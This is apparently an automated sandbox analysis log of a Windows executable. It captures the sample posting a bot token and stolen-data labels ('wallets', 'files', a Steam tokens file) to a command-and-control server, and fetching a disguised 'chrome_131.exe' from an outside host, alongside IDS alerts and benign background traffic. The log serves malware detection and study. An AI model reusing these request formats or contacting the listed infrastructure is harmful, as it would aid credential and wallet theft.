Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 95.215.207.176Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"wallets------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 95.215.207.176Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"files------GIJDAFBKFIECBGCAKECG--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 95.215.207.176Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file"------AFCAAEGDBKJJKECBKFHC--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHDHost: 95.215.207.176Content-Length: 114823Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 95.215.207.176Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"ybncbhylepme------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAFHCBAKFCAAKFCFCHost: 95.215.207.176Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 2d 2d 0d 0a Data Ascii: ------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDAFHCBAKFCAAKFCFC--

Source: Joe Sandbox View	IP Address: 87.106.236.48 87.106.236.48
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49754 -> 95.215.207.176:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49762 -> 87.106.236.48:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:62304

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zcUkYwW74HRy3Cy&MD=4EM2WbO3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /chrome_131.exe HTTP/1.1Host: perseverclinic.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zcUkYwW74HRy3Cy&MD=4EM2WbO3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
